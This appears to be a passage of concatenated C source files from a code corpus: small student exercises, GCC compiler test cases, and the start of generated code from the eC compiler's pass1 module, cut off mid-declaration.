"nth_digit_nat_native", "set_digit_nat_native", "coq_push_ra", "coq_push_arguments", "coq_push_val", "coq_interprete_ml", "coq_set_drawinstr", "get_coq_transp_value", "coq_set_transp_value", "coq_push_vstack", "coq_offset_tcode", "coq_offset_closure", "coq_makeaccu", "realloc_coq_atom_tbl", "get_coq_atom_tbl", "coq_int_tcode", "coq_offset", "coq_closure_arity", "coq_accucond", "coq_is_accumulate_code", "coq_kind_of_closure", "coq_pushpop", "init_coq_vm", "accumulate_code", "coq_tcode_of_code", "coq_eval_tcode", "get_coq_global_boxed", "realloc_coq_global_boxed", "get_coq_global_data", "realloc_coq_global_data", "coq_static_free", (char *) 0 }; #ifdef __cplusplus } #endif
the_stack_data/66972.c
/* Name: p4-03.c Purpose: Displays a three-digit number reveresed. Author: NiceMan1337 Date: 14.03.2022 */ #include <stdio.h> int main(void) { /*declare variable*/ int i, j, x; /*ask user for input*/ printf("Enter three-digit number: "); scanf("%1d%1d%1d", &i, &j, &x); /*print out the result*/ printf("The reversal is: %d%d%d\n", x, j, i); return 0; }
the_stack_data/95449247.c
#include <stdio.h> int main(){ int n, i, fatorial = 1; scanf("%d", &n); for (i = 1; i <= n; i++){ fatorial *= i; } printf("%d\n", fatorial); return 0; }
the_stack_data/107509.c
/* PR optimization/13394 */ /* Origin: Carlo Wood <[email protected]> */ /* Verify that a bogus "function does return" warning is not issued in presence of tail recursion within a noreturn function. */ /* { dg-do compile } */ /* { dg-options "-O2 -Wreturn-type -Wmissing-noreturn" } */ void f(void) __attribute__ ((__noreturn__)); void _exit(int status) __attribute__ ((__noreturn__)); int z = 0; void g() { /* { dg-warning "possible candidate" } */ if (++z > 10) _exit(0); g(); } void f() { if (++z > 10) _exit(0); f(); } /* { dg-bogus "does return" } */ int h() { /* { dg-warning "possible candidate" } */ if (++z > 10) _exit(0); return h(); } /* { dg-bogus "end of non-void function" } */ int k() { /* { dg-warning "possible candidate" } */ if (++z > 10) _exit(0); k(); } /* { dg-warning "control reaches" } */
the_stack_data/9512880.c
#include <stdio.h> #define CHAR_MIN ' ' #define CHAR_MAX '~' #define ARRAY_SZ CHAR_MAX - CHAR_MIN + 1 #define WIDTH 77 main() { int c; int counts[ARRAY_SZ]; int freq, maxn; int i, j; float scale; for (i = 0; i < ARRAY_SZ; ++i) counts[i] = 0; while ((c = getchar()) != EOF) if (c >= CHAR_MIN && c <= CHAR_MAX) ++counts[c - CHAR_MIN]; maxn = 0; for (i = 0; i < ARRAY_SZ; ++i) if (counts[i] > maxn) maxn = counts[i]; scale = 1.0; if (maxn > WIDTH) scale = WIDTH / (float)maxn; for (i = 0; i < ARRAY_SZ; ++i) { printf("%c|", CHAR_MIN + i); freq = (int)(counts[i] * scale); for (j = 0; j < freq; ++j) printf("*"); printf("\n"); } }
the_stack_data/168893872.c
#include <stdio.h> void swap(int *a, int *b) { int temp = *a; *a = *b; *b = temp; } void exchange_Sort(int array[], int size){ int i, j, temp; for(i = 0; i < (size -1); i++){ for (j=(i + 1); j < size; j++){ if (array[i] > array[j]){ temp = array[i]; array[i] = array[j]; array[j] = temp; } } } } void cetakArray(int array[], int size){ for (int i = 0; i < size; i++){ printf("%d ",array[i]); } printf("\n"); } int main(){ int data[]= {23, 65, 30, 8, 33, 24, 76, 7}; int size = sizeof(data)/sizeof(data[0]); exchange_Sort(data, size); printf("Array Ascending(NIM Ganjil) :\n"); cetakArray(data,size); }
the_stack_data/82950080.c
/* { dg-do compile } */ /* { dg-options "-O2 -fdump-tree-vrp1-details" } */ /* LLVM LOCAL test not applicable */ /* { dg-require-fdump "" } */ blah (int code1, int code2) { int i; int n_sets; n_sets = (int) (code1 == 32); if (code2 == 64) goto L2; else goto L3; L2: aa (); L3: if (n_sets > 1) goto L4; else goto L10; L4: aos (); i = 0; goto L24; L10: if (n_sets > 0) goto L25; else goto L8; L25: i = 0; L24: aob (); i = i + 1; if (i < n_sets) goto L24; else goto L8; L8: return; } /* The n_sets > 0 test can be simplified into n_sets == 1 since the only way to reach the test is when n_sets <= 1, and the only value which satisfies both conditions is n_sets == 1. */ /* { dg-final { scan-tree-dump-times "Simplified relational" 1 "vrp1" } } */ /* { dg-final { cleanup-tree-dump "vrp1" } } */
the_stack_data/97013677.c
/* Code generated from eC source file: pass1.ec */ #if defined(_WIN32) #define __runtimePlatform 1 #elif defined(__APPLE__) #define __runtimePlatform 3 #else #define __runtimePlatform 2 #endif #if defined(__GNUC__) typedef long long int64; typedef unsigned long long uint64; #ifndef _WIN32 #define __declspec(x) #endif #elif defined(__TINYC__) #include <stdarg.h> #define __builtin_va_list va_list #define __builtin_va_start va_start #define __builtin_va_end va_end #ifdef _WIN32 #define strcasecmp stricmp #define strncasecmp strnicmp #define __declspec(x) __attribute__((x)) #else #define __declspec(x) #endif typedef long long int64; typedef unsigned long long uint64; #else typedef __int64 int64; typedef unsigned __int64 uint64; #endif #ifdef __BIG_ENDIAN__ #define __ENDIAN_PAD(x) (8 - (x)) #else #define __ENDIAN_PAD(x) 0 #endif #if defined(_WIN32) # if defined(__GNUC__) || defined(__TINYC__) # define ecere_stdcall __attribute__((__stdcall__)) # define ecere_gcc_struct __attribute__((gcc_struct)) # else # define ecere_stdcall __stdcall # define ecere_gcc_struct # endif #else # define ecere_stdcall # define ecere_gcc_struct #endif #include <stdint.h> #include <sys/types.h> enum yytokentype { IDENTIFIER = 258, CONSTANT = 259, STRING_LITERAL = 260, SIZEOF = 261, PTR_OP = 262, INC_OP = 263, DEC_OP = 264, LEFT_OP = 265, RIGHT_OP = 266, LE_OP = 267, GE_OP = 268, EQ_OP = 269, NE_OP = 270, AND_OP = 271, OR_OP = 272, MUL_ASSIGN = 273, DIV_ASSIGN = 274, MOD_ASSIGN = 275, ADD_ASSIGN = 276, SUB_ASSIGN = 277, LEFT_ASSIGN = 278, RIGHT_ASSIGN = 279, AND_ASSIGN = 280, XOR_ASSIGN = 281, OR_ASSIGN = 282, TYPE_NAME = 283, TYPEDEF = 284, EXTERN = 285, STATIC = 286, AUTO = 287, REGISTER = 288, CHAR = 289, SHORT = 290, INT = 291, UINT = 292, INT64 = 293, INT128 = 294, LONG = 295, SIGNED = 296, UNSIGNED = 297, FLOAT = 298, DOUBLE = 299, CONST = 300, VOLATILE = 301, VOID = 302, VALIST = 303, STRUCT = 304, UNION = 305, ENUM = 306, ELLIPSIS = 307, CASE = 308, DEFAULT = 309, IF = 310, SWITCH = 311, WHILE = 312, DO = 313, FOR = 314, GOTO = 315, CONTINUE = 316, BREAK = 317, RETURN = 318, IFX = 319, ELSE = 320, CLASS = 321, THISCLASS = 322, CLASS_NAME = 323, PROPERTY = 324, SETPROP = 325, GETPROP = 326, NEWOP = 327, RENEW = 328, DELETE = 329, EXT_DECL = 330, EXT_STORAGE = 331, IMPORT = 332, DEFINE = 333, VIRTUAL = 334, ATTRIB = 335, PUBLIC = 336, PRIVATE = 337, TYPED_OBJECT = 338, ANY_OBJECT = 339, _INCREF = 340, EXTENSION = 341, ASM = 342, TYPEOF = 343, WATCH = 344, STOPWATCHING = 345, FIREWATCHERS = 346, WATCHABLE = 347, CLASS_DESIGNER = 348, CLASS_NO_EXPANSION = 349, CLASS_FIXED = 350, ISPROPSET = 351, CLASS_DEFAULT_PROPERTY = 352, PROPERTY_CATEGORY = 353, CLASS_DATA = 354, CLASS_PROPERTY = 355, SUBCLASS = 356, NAMESPACE = 357, NEW0OP = 358, RENEW0 = 359, VAARG = 360, DBTABLE = 361, DBFIELD = 362, DBINDEX = 363, DATABASE_OPEN = 364, ALIGNOF = 365, ATTRIB_DEP = 366, __ATTRIB = 367, BOOL = 368, _BOOL = 369, _COMPLEX = 370, _IMAGINARY = 371, RESTRICT = 372, THREAD = 373, WIDE_STRING_LITERAL = 374, BUILTIN_OFFSETOF = 375 }; extern int propWatcherID; unsigned int buildingECERECOM = 0; unsigned int buildingECERECOMModule = 0; extern unsigned int inCompiler; extern const char * outputFile; extern struct __ecereNameSpace__ecere__com__Property * __ecereProp_Type_isPointerTypeSize; extern struct __ecereNameSpace__ecere__com__Property * __ecereProp___ecereNameSpace__ecere__sys__BinaryTree_first; extern struct __ecereNameSpace__ecere__com__Property * __ecereProp___ecereNameSpace__ecere__sys__BTNode_next; extern unsigned int parsingType; extern const char * sourceFile; static struct __ecereNameSpace__ecere__com__Instance * classPropValues; extern struct __ecereNameSpace__ecere__com__Property * __ecereProp___ecereNameSpace__ecere__com__Iterator_data; extern struct __ecereNameSpace__ecere__com__Property * __ecereProp_Type_isPointerType; struct __ecereNameSpace__ecere__sys__OldList { void * first; void * last; int count; unsigned int offset; unsigned int circ; } ecere_gcc_struct; struct __ecereNameSpace__ecere__com__DataValue { union { char c; unsigned char uc; short s; unsigned short us; int i; unsigned int ui; void * p; float f; double d; long long i64; uint64 ui64; } ecere_gcc_struct __anon1; } ecere_gcc_struct; struct __ecereNameSpace__ecere__com__SerialBuffer { unsigned char * _buffer; unsigned int count; unsigned int _size; unsigned int pos; } ecere_gcc_struct; extern void * __ecereNameSpace__ecere__com__eSystem_New(unsigned int size); extern void * __ecereNameSpace__ecere__com__eSystem_New0(unsigned int size); extern void * __ecereNameSpace__ecere__com__eSystem_Renew(void * memory, unsigned int size); extern void * __ecereNameSpace__ecere__com__eSystem_Renew0(void * memory, unsigned int size); extern void __ecereNameSpace__ecere__com__eSystem_Delete(void * memory); struct Pointer; struct InitDeclarator; struct AsmField; struct Attrib; struct ExtDecl; struct Attribute; struct Instantiation; struct MembersInit; struct MemberInit; struct PropertyDef; struct DBTableEntry; struct DBIndexItem; struct DBTableDef; struct CodePosition { int line; int charPos; int pos; int included; } ecere_gcc_struct; struct ModuleImport; struct ClassImport; struct __ecereNameSpace__ecere__com__LinkList { void * first; void * last; int count; } ecere_gcc_struct; extern void Compiler_Error(const char * format, ...); extern const char * __ecereNameSpace__ecere__GetTranslatedString(const char * name, const char * string, const char * stringAndContext); extern char * __ecereNameSpace__ecere__sys__CopyString(const char * string); extern char * __ecereNameSpace__ecere__sys__GetLastDirectory(const char * string, char * output); extern unsigned int __ecereNameSpace__ecere__sys__StripExtension(char * string); extern void FixModuleName(char * moduleName); extern int sprintf(char * , const char * , ...); extern char * QMkString(const char * source); extern char * strcpy(char * , const char * ); extern void FullClassNameCat(char * output, const char * className, unsigned int includeTemplateParams); extern char * strcat(char * , const char * ); extern int strcmp(const char * , const char * ); extern char * PrintInt64(long long result); extern void __ecereNameSpace__ecere__sys__ChangeCh(char * string, char ch1, char ch2); extern unsigned int DummyMethod(void); extern char * PrintUInt64(uint64 result); extern size_t strlen(const char * ); struct __ecereNameSpace__ecere__com__IteratorPointer; struct __ecereNameSpace__ecere__com__GlobalFunction; int __ecereVMethodID_class_OnGetString; void SetBuildingEcereCom(unsigned int b) { buildingECERECOM = b; } unsigned int GetBuildingEcereCom() { return buildingECERECOM; } void SetBuildingEcereComModule(unsigned int b) { buildingECERECOMModule = b; } unsigned int GetBuildingEcereComModule() { return buildingECERECOMModule; } extern struct __ecereNameSpace__ecere__sys__OldList * MkList(void); extern struct __ecereNameSpace__ecere__sys__OldList * excludedSymbols; extern struct __ecereNameSpace__ecere__sys__OldList * CopyList(struct __ecereNameSpace__ecere__sys__OldList * source, void * (* CopyFunction)(void * )); extern void ListAdd(struct __ecereNameSpace__ecere__sys__OldList * list, void * item); extern struct __ecereNameSpace__ecere__sys__OldList * MkListOne(void * item); extern struct __ecereNameSpace__ecere__sys__OldList * ast; struct __ecereNameSpace__ecere__com__EnumClassData { struct __ecereNameSpace__ecere__sys__OldList values; long long largest; } ecere_gcc_struct; unsigned int __ecereMethod___ecereNameSpace__ecere__sys__OldList_Insert(struct __ecereNameSpace__ecere__sys__OldList * this, void * prevItem, void * item); void __ecereMethod___ecereNameSpace__ecere__sys__OldList_Add(struct __ecereNameSpace__ecere__sys__OldList * this, void * item); void __ecereMethod___ecereNameSpace__ecere__sys__OldList_Remove(struct __ecereNameSpace__ecere__sys__OldList * this, void * item); extern struct Pointer * MkPointer(struct __ecereNameSpace__ecere__sys__OldList * qualifiers, struct Pointer * pointer); extern struct Attrib * MkAttrib(int type, struct __ecereNameSpace__ecere__sys__OldList * attribs); extern struct ExtDecl * MkExtDeclAttrib(struct Attrib * attr); extern struct MembersInit * MkMembersInitList(struct __ecereNameSpace__ecere__sys__OldList * dataMembers); struct Location { struct CodePosition start; struct CodePosition end; } ecere_gcc_struct; extern struct Location yylloc; struct Statement; static struct Statement * registerModuleBody; static struct Statement * unregisterModuleBody; extern struct Statement * MkCompoundStmt(struct __ecereNameSpace__ecere__sys__OldList * declarations, struct __ecereNameSpace__ecere__sys__OldList * statements); extern struct Statement * MkExpressionStmt(struct __ecereNameSpace__ecere__sys__OldList * expressions); extern struct Statement * MkIfStmt(struct __ecereNameSpace__ecere__sys__OldList * exp, struct Statement * statement, struct Statement * elseStmt); struct External; static struct External * registerModuleExternal; static struct External * unregisterModuleExternal; extern void FreeExternal(struct External * external); extern struct External * DeclareStruct(struct External * neededBy, const char * name, unsigned int skipNoHead, unsigned int needDereference); extern struct External * curExternal; struct Context; extern struct Context * globalContext; extern struct Context * curContext; extern struct Context * PushContext(void); extern void PopContext(struct Context * ctx); struct Expression; extern struct Attribute * MkAttribute(char * attr, struct Expression * exp); extern struct Expression * MkExpConstant(const char * string); extern struct Expression * MkExpString(const char * string); extern struct Expression * MkExpOp(struct Expression * exp1, int op, struct Expression * exp2); extern struct Expression * MkExpCall(struct Expression * expression, struct __ecereNameSpace__ecere__sys__OldList * arguments); extern struct Expression * CopyExpression(struct Expression * exp); extern struct Expression * MkExpCondition(struct Expression * cond, struct __ecereNameSpace__ecere__sys__OldList * expressions, struct Expression * elseExp); extern void ProcessExpressionType(struct Expression * exp); extern void FreeExpContents(struct Expression * exp); extern void ComputeExpression(struct Expression * exp); extern struct Expression * MkExpInstance(struct Instantiation * inst); extern void PrintExpression(struct Expression * exp, char * string); struct __ecereNameSpace__ecere__sys__BTNode; struct __ecereNameSpace__ecere__sys__BTNode { uintptr_t key; struct __ecereNameSpace__ecere__sys__BTNode * parent; struct __ecereNameSpace__ecere__sys__BTNode * left; struct __ecereNameSpace__ecere__sys__BTNode * right; int depth; } ecere_gcc_struct; struct __ecereNameSpace__ecere__sys__BTNode * __ecereProp___ecereNameSpace__ecere__sys__BTNode_Get_next(struct __ecereNameSpace__ecere__sys__BTNode * this); struct __ecereNameSpace__ecere__com__Class; struct __ecereNameSpace__ecere__com__Instance { void * * _vTbl; struct __ecereNameSpace__ecere__com__Class * _class; int _refCount; } ecere_gcc_struct; extern long long __ecereNameSpace__ecere__com__eClass_GetProperty(struct __ecereNameSpace__ecere__com__Class * _class, const char * name); extern void __ecereNameSpace__ecere__com__eClass_SetProperty(struct __ecereNameSpace__ecere__com__Class * _class, const char * name, long long value); extern void ReplaceThisClassSpecifiers(struct __ecereNameSpace__ecere__sys__OldList * specs, struct __ecereNameSpace__ecere__com__Class * _class); extern void __ecereNameSpace__ecere__com__eEnum_AddFixedValue(struct __ecereNameSpace__ecere__com__Class * _class, const char * string, long long value); extern long long __ecereNameSpace__ecere__com__eEnum_AddValue(struct __ecereNameSpace__ecere__com__Class * _class, const char * string); extern void * __ecereNameSpace__ecere__com__eInstance_New(struct __ecereNameSpace__ecere__com__Class * _class); extern void __ecereNameSpace__ecere__com__eInstance_SetMethod(struct __ecereNameSpace__ecere__com__Instance * instance, const char * name, void * function); extern void __ecereNameSpace__ecere__com__eInstance_IncRef(struct __ecereNameSpace__ecere__com__Instance * instance); struct __ecereNameSpace__ecere__com__Iterator { struct __ecereNameSpace__ecere__com__Instance * container; struct __ecereNameSpace__ecere__com__IteratorPointer * pointer; } ecere_gcc_struct; int __ecereVMethodID___ecereNameSpace__ecere__com__Container_Add; int __ecereVMethodID___ecereNameSpace__ecere__com__Container_Free; extern void __ecereNameSpace__ecere__com__eInstance_DecRef(struct __ecereNameSpace__ecere__com__Instance * instance); unsigned int __ecereMethod___ecereNameSpace__ecere__com__Iterator_Next(); uint64 __ecereProp___ecereNameSpace__ecere__com__Iterator_Get_data(struct __ecereNameSpace__ecere__com__Iterator * this); void __ecereProp___ecereNameSpace__ecere__com__Iterator_Set_data(struct __ecereNameSpace__ecere__com__Iterator * this, uint64 value); void __ecereDestroyModuleInstances_pass1() { (__ecereNameSpace__ecere__com__eInstance_DecRef(classPropValues), classPropValues = 0); } struct __ecereNameSpace__ecere__com__Property; extern void __ecereNameSpace__ecere__com__eInstance_FireSelfWatchers(struct __ecereNameSpace__ecere__com__Instance * instance, struct __ecereNameSpace__ecere__com__Property * _property); extern void __ecereNameSpace__ecere__com__eInstance_StopWatching(struct __ecereNameSpace__ecere__com__Instance * instance, struct __ecereNameSpace__ecere__com__Property * _property, struct __ecereNameSpace__ecere__com__Instance * object); extern void __ecereNameSpace__ecere__com__eInstance_Watch(void * instance, struct __ecereNameSpace__ecere__com__Property * _property, void * object, void (* callback)(void * , void * )); extern void __ecereNameSpace__ecere__com__eInstance_FireWatchers(struct __ecereNameSpace__ecere__com__Instance * instance, struct __ecereNameSpace__ecere__com__Property * _property); struct Specifier; extern struct Specifier * MkSpecifier(int specifier); extern struct Specifier * CopySpecifier(struct Specifier * spec); extern struct Specifier * MkSpecifierName(const char * name); extern struct Specifier * MkSpecifierExtended(struct ExtDecl * extDecl); extern struct Instantiation * MkInstantiation(struct Specifier * _class, struct Expression * exp, struct __ecereNameSpace__ecere__sys__OldList * members); struct __ecereNameSpace__ecere__com__Method; extern void ProcessMethodType(struct __ecereNameSpace__ecere__com__Method * method); extern void DeclareMethod(struct External * neededFor, struct __ecereNameSpace__ecere__com__Method * method, const char * name); struct Type; struct __ecereNameSpace__ecere__com__Property { struct __ecereNameSpace__ecere__com__Property * prev; struct __ecereNameSpace__ecere__com__Property * next; const char * name; unsigned int isProperty; int memberAccess; int id; struct __ecereNameSpace__ecere__com__Class * _class; const char * dataTypeString; struct __ecereNameSpace__ecere__com__Class * dataTypeClass; struct Type * dataType; void (* Set)(void * , int); int (* Get)(void * ); unsigned int (* IsSet)(void * ); void * data; void * symbol; int vid; unsigned int conversion; unsigned int watcherOffset; const char * category; unsigned int compiled; unsigned int selfWatchable; unsigned int isWatchable; } ecere_gcc_struct; struct __ecereNameSpace__ecere__com__Method { const char * name; struct __ecereNameSpace__ecere__com__Method * parent; struct __ecereNameSpace__ecere__com__Method * left; struct __ecereNameSpace__ecere__com__Method * right; int depth; int (* function)(); int vid; int type; struct __ecereNameSpace__ecere__com__Class * _class; void * symbol; const char * dataTypeString; struct Type * dataType; int memberAccess; } ecere_gcc_struct; extern struct Type * ProcessTypeString(const char * string, unsigned int staticMethod); extern unsigned int MatchTypes(struct Type * source, struct Type * dest, struct __ecereNameSpace__ecere__sys__OldList * conversions, struct __ecereNameSpace__ecere__com__Class * owningClassSource, struct __ecereNameSpace__ecere__com__Class * owningClassDest, unsigned int doConversion, unsigned int enumBaseType, unsigned int acceptReversedParams, unsigned int isConversionExploration, unsigned int warnConst); extern void FreeType(struct Type * type); extern int ComputeTypeSize(struct Type * type); extern void PrintType(struct Type * type, char * string, unsigned int printName, unsigned int fullName); struct Symbol; struct Symbol { char * string; struct Symbol * parent; struct Symbol * left; struct Symbol * right; int depth; struct Type * type; union { struct __ecereNameSpace__ecere__com__Method * method; struct __ecereNameSpace__ecere__com__Property * _property; struct __ecereNameSpace__ecere__com__Class * registered; } ecere_gcc_struct __anon1; unsigned int notYetDeclared; union { struct { struct External * pointerExternal; struct External * structExternal; } ecere_gcc_struct __anon1; struct { struct External * externalGet; struct External * externalSet; struct External * externalPtr; struct External * externalIsSet; } ecere_gcc_struct __anon2; struct { struct External * methodExternal; struct External * methodCodeExternal; } ecere_gcc_struct __anon3; } ecere_gcc_struct __anon2; unsigned int imported; unsigned int declaredStructSym; struct __ecereNameSpace__ecere__com__Class * _class; unsigned int declaredStruct; unsigned int needConstructor; unsigned int needDestructor; char * constructorName; char * structName; char * className; char * destructorName; struct ModuleImport * module; struct ClassImport * _import; struct Location nameLoc; unsigned int isParam; unsigned int isRemote; unsigned int isStruct; unsigned int fireWatchersDone; int declaring; unsigned int classData; unsigned int isStatic; char * shortName; struct __ecereNameSpace__ecere__sys__OldList * templateParams; struct __ecereNameSpace__ecere__sys__OldList templatedClasses; struct Context * ctx; int isIterator; struct Expression * propCategory; unsigned int mustRegister; } ecere_gcc_struct; extern struct Symbol * FindClass(const char * name); struct Declarator; extern struct Declarator * GetFuncDecl(struct Declarator * decl); extern struct Declarator * CopyDeclarator(struct Declarator * declarator); extern struct Declarator * MkDeclaratorFunction(struct Declarator * declarator, struct __ecereNameSpace__ecere__sys__OldList * parameters); extern struct Declarator * MkDeclaratorPointer(struct Pointer * pointer, struct Declarator * declarator); extern struct Type * ProcessType(struct __ecereNameSpace__ecere__sys__OldList * specs, struct Declarator * decl); extern char * StringFromSpecDecl(struct __ecereNameSpace__ecere__sys__OldList * specs, struct Declarator * decl); struct TemplateDatatype { struct __ecereNameSpace__ecere__sys__OldList * specifiers; struct Declarator * decl; } ecere_gcc_struct; struct Identifier; struct Declarator { struct Declarator * prev; struct Declarator * next; struct Location loc; int type; struct Symbol * symbol; struct Declarator * declarator; union { struct Identifier * identifier; struct { struct Expression * exp; struct Expression * posExp; struct Attrib * attrib; } ecere_gcc_struct structDecl; struct { struct Expression * exp; struct Specifier * enumClass; } ecere_gcc_struct array; struct { struct __ecereNameSpace__ecere__sys__OldList * parameters; } ecere_gcc_struct function; struct { struct Pointer * pointer; } ecere_gcc_struct pointer; struct { struct ExtDecl * extended; } ecere_gcc_struct extended; } ecere_gcc_struct __anon1; } ecere_gcc_struct; extern struct Declarator * MkDeclaratorIdentifier(struct Identifier * id); extern struct Identifier * MkIdentifier(const char * string); extern struct Expression * MkExpIdentifier(struct Identifier * id); extern struct Expression * MkExpMember(struct Expression * expression, struct Identifier * member); extern struct Specifier * MkStructOrUnion(int type, struct Identifier * id, struct __ecereNameSpace__ecere__sys__OldList * definitions); struct Identifier { struct Identifier * prev; struct Identifier * next; struct Location loc; struct Symbol * classSym; struct Specifier * _class; char * string; struct Identifier * badID; } ecere_gcc_struct; extern struct Identifier * GetDeclId(struct Declarator * decl); struct ClassPropertyValue { struct __ecereNameSpace__ecere__com__Class * regClass; unsigned int staticClass; struct Identifier * id; struct Expression * exp; } ecere_gcc_struct; extern void FreeIdentifier(struct Identifier * id); struct __ecereNameSpace__ecere__sys__NamedLink64; struct __ecereNameSpace__ecere__sys__NamedLink64 { struct __ecereNameSpace__ecere__sys__NamedLink64 * prev; struct __ecereNameSpace__ecere__sys__NamedLink64 * next; char * name; long long data; } ecere_gcc_struct; struct __ecereNameSpace__ecere__sys__OldLink; struct __ecereNameSpace__ecere__sys__OldLink { struct __ecereNameSpace__ecere__sys__OldLink * prev; struct __ecereNameSpace__ecere__sys__OldLink * next; void * data; } ecere_gcc_struct; struct ClassFunction; struct ClassFunction { struct ClassFunction * prev; struct ClassFunction * next; struct Location loc; struct __ecereNameSpace__ecere__sys__OldList * specifiers; struct Declarator * declarator; struct __ecereNameSpace__ecere__sys__OldList * declarations; struct Statement * body; struct __ecereNameSpace__ecere__com__Class * _class; struct __ecereNameSpace__ecere__sys__OldList attached; int declMode; struct Type * type; struct Symbol * propSet; unsigned int isVirtual; unsigned int isConstructor; unsigned int isDestructor; unsigned int dontMangle; int id; int idCode; } ecere_gcc_struct; extern struct ClassFunction * MkClassFunction(struct __ecereNameSpace__ecere__sys__OldList * specifiers, struct Specifier * _class, struct Declarator * decl, struct __ecereNameSpace__ecere__sys__OldList * declList); extern void ProcessClassFunctionBody(struct ClassFunction * func, struct Statement * body); struct PropertyWatch; struct PropertyWatch { struct PropertyWatch * prev; struct PropertyWatch * next; struct Location loc; struct Statement * compound; struct __ecereNameSpace__ecere__sys__OldList * properties; unsigned int deleteWatch; } ecere_gcc_struct; extern void FreePropertyWatch(struct PropertyWatch * watcher); struct Declaration; struct Statement { struct Statement * prev; struct Statement * next; struct Location loc; int type; union { struct __ecereNameSpace__ecere__sys__OldList * expressions; struct { struct Identifier * id; struct Statement * stmt; } ecere_gcc_struct labeled; struct { struct Expression * exp; struct Statement * stmt; } ecere_gcc_struct caseStmt; struct { struct __ecereNameSpace__ecere__sys__OldList * declarations; struct __ecereNameSpace__ecere__sys__OldList * statements; struct Context * context; unsigned int isSwitch; } ecere_gcc_struct compound; struct { struct __ecereNameSpace__ecere__sys__OldList * exp; struct Statement * stmt; struct Statement * elseStmt; } ecere_gcc_struct ifStmt; struct { struct __ecereNameSpace__ecere__sys__OldList * exp; struct Statement * stmt; } ecere_gcc_struct switchStmt; struct { struct __ecereNameSpace__ecere__sys__OldList * exp; struct Statement * stmt; } ecere_gcc_struct whileStmt; struct { struct __ecereNameSpace__ecere__sys__OldList * exp; struct Statement * stmt; } ecere_gcc_struct doWhile; struct { struct Statement * init; struct Statement * check; struct __ecereNameSpace__ecere__sys__OldList * increment; struct Statement * stmt; } ecere_gcc_struct forStmt; struct { struct Identifier * id; } ecere_gcc_struct gotoStmt; struct { struct Specifier * spec; char * statements; struct __ecereNameSpace__ecere__sys__OldList * inputFields; struct __ecereNameSpace__ecere__sys__OldList * outputFields; struct __ecereNameSpace__ecere__sys__OldList * clobberedFields; } ecere_gcc_struct asmStmt; struct { struct Expression * watcher; struct Expression * object; struct __ecereNameSpace__ecere__sys__OldList * watches; } ecere_gcc_struct _watch; struct { struct Identifier * id; struct __ecereNameSpace__ecere__sys__OldList * exp; struct __ecereNameSpace__ecere__sys__OldList * filter; struct Statement * stmt; } ecere_gcc_struct forEachStmt; struct Declaration * decl; } ecere_gcc_struct __anon1; } ecere_gcc_struct; extern struct Declaration * MkDeclaration(struct __ecereNameSpace__ecere__sys__OldList * specifiers, struct __ecereNameSpace__ecere__sys__OldList * initDeclarators); struct Declaration { struct Declaration * prev; struct Declaration * next; struct Location loc; int type; union { struct { struct __ecereNameSpace__ecere__sys__OldList * specifiers; struct __ecereNameSpace__ecere__sys__OldList * declarators; } ecere_gcc_struct __anon1; struct Instantiation * inst; struct { struct Identifier * id; struct Expression * exp; } ecere_gcc_struct __anon2; } ecere_gcc_struct __anon1; struct Specifier * extStorage; struct Symbol * symbol; int declMode; } ecere_gcc_struct; struct Initializer; extern struct InitDeclarator * MkInitDeclarator(struct Declarator * declarator, struct Initializer * initializer); extern struct Initializer * MkInitializerAssignment(struct Expression * exp); extern struct MemberInit * MkMemberInit(struct __ecereNameSpace__ecere__sys__OldList * ids, struct Initializer * initializer); struct Initializer { struct Initializer * prev; struct Initializer * next; struct Location loc; int type; union { struct Expression * exp; struct __ecereNameSpace__ecere__sys__OldList * list; } ecere_gcc_struct __anon1; unsigned int isConstant; struct Identifier * id; } ecere_gcc_struct; struct FunctionDefinition; extern struct FunctionDefinition * _MkFunction(struct __ecereNameSpace__ecere__sys__OldList * specifiers, struct Declarator * declarator, struct __ecereNameSpace__ecere__sys__OldList * declarationList, unsigned int errorOnOmit); struct FunctionDefinition { struct FunctionDefinition * prev; struct FunctionDefinition * next; struct Location loc; struct __ecereNameSpace__ecere__sys__OldList * specifiers; struct Declarator * declarator; struct __ecereNameSpace__ecere__sys__OldList * declarations; struct Statement * body; struct __ecereNameSpace__ecere__com__Class * _class; struct __ecereNameSpace__ecere__sys__OldList attached; int declMode; struct Type * type; struct Symbol * propSet; int tempCount; unsigned int propertyNoThis; } ecere_gcc_struct; extern void ProcessFunctionBody(struct FunctionDefinition * func, struct Statement * body); extern struct External * MkExternalFunction(struct FunctionDefinition * function); struct TypeName; struct TypeName { struct TypeName * prev; struct TypeName * next; struct Location loc; struct __ecereNameSpace__ecere__sys__OldList * qualifiers; struct Declarator * declarator; int classObjectType; struct Expression * bitCount; } ecere_gcc_struct; extern struct TypeName * MkTypeName(struct __ecereNameSpace__ecere__sys__OldList * qualifiers, struct Declarator * declarator); extern struct Expression * MkExpCast(struct TypeName * typeName, struct Expression * expression); extern struct Expression * MkExpTypeSize(struct TypeName * typeName); struct Expression { struct Expression * prev; struct Expression * next; struct Location loc; int type; union { struct { char * constant; struct Identifier * identifier; } ecere_gcc_struct __anon1; struct Statement * compound; struct Instantiation * instance; struct { char * string; unsigned int intlString; unsigned int wideString; } ecere_gcc_struct __anon2; struct __ecereNameSpace__ecere__sys__OldList * list; struct { struct __ecereNameSpace__ecere__sys__OldList * specifiers; struct Declarator * decl; } ecere_gcc_struct _classExp; struct { struct Identifier * id; } ecere_gcc_struct classData; struct { struct Expression * exp; struct __ecereNameSpace__ecere__sys__OldList * arguments; struct Location argLoc; } ecere_gcc_struct call; struct { struct Expression * exp; struct __ecereNameSpace__ecere__sys__OldList * index; } ecere_gcc_struct index; struct { struct Expression * exp; struct Identifier * member; int memberType; unsigned int thisPtr; } ecere_gcc_struct member; struct { int op; struct Expression * exp1; struct Expression * exp2; } ecere_gcc_struct op; struct TypeName * typeName; struct Specifier * _class; struct { struct TypeName * typeName; struct Expression * exp; } ecere_gcc_struct cast; struct { struct Expression * cond; struct __ecereNameSpace__ecere__sys__OldList * exp; struct Expression * elseExp; } ecere_gcc_struct cond; struct { struct TypeName * typeName; struct Expression * size; } ecere_gcc_struct _new; struct { struct TypeName * typeName; struct Expression * size; struct Expression * exp; } ecere_gcc_struct _renew; struct { char * table; struct Identifier * id; } ecere_gcc_struct db; struct { struct Expression * ds; struct Expression * name; } ecere_gcc_struct dbopen; struct { struct TypeName * typeName; struct Initializer * initializer; } ecere_gcc_struct initializer; struct { struct Expression * exp; struct TypeName * typeName; } ecere_gcc_struct vaArg; struct { struct TypeName * typeName; struct Identifier * id; } ecere_gcc_struct offset; } ecere_gcc_struct __anon1; unsigned int debugValue; struct __ecereNameSpace__ecere__com__DataValue val; uint64 